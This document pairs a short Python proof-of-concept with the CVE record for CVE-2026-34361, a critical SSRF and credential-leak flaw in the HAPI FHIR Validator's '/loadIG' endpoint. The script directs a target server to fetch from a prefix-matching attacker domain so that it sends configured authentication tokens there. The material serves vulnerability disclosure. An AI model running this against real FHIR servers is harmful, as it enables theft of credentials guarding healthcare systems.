CVE-2026-34361

import requests # PoC Concept: Demonstrate the SSRF and Credential Leakage # Assumption: Attacker controls 'api.example.com.attacker.com' # Target: HAPI FHIR Validator Service target_url = "http://vulnerable-hapi-server:8080/loadIG" # Malicious URL that prefixes the legitimate "api.example.com" malicious_ig_url = "https://api.example.com.attacker.com/malicious-package.tgz" try: print(f"[+] Sending request to {target_url}") print(f"[+] Using malicious IG URL: {malicious_ig_url}") # The server will make an outbound request to 'malicious_ig_url' # It will attach credentials meant for 'api.example.com' due to the startsWith() flaw response = requests.get(target_url, params={"url": malicious_ig_url}) if response.status_code == 200: print("[+] Request sent successfully. Check attacker server logs for stolen headers.") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-34361", "sourceIdentifier": "[email protected]", "published": "2026-03-31T17:16:32.923", "lastModified": "2026-04-03T12:56:06.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-552"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hapifhir:hl7_fhir_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.9.4", "matchCriteriaId": "03C38881-A545-4EB5-BF3A-E15EF3D0F995"}]}]}], "references": [{"url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}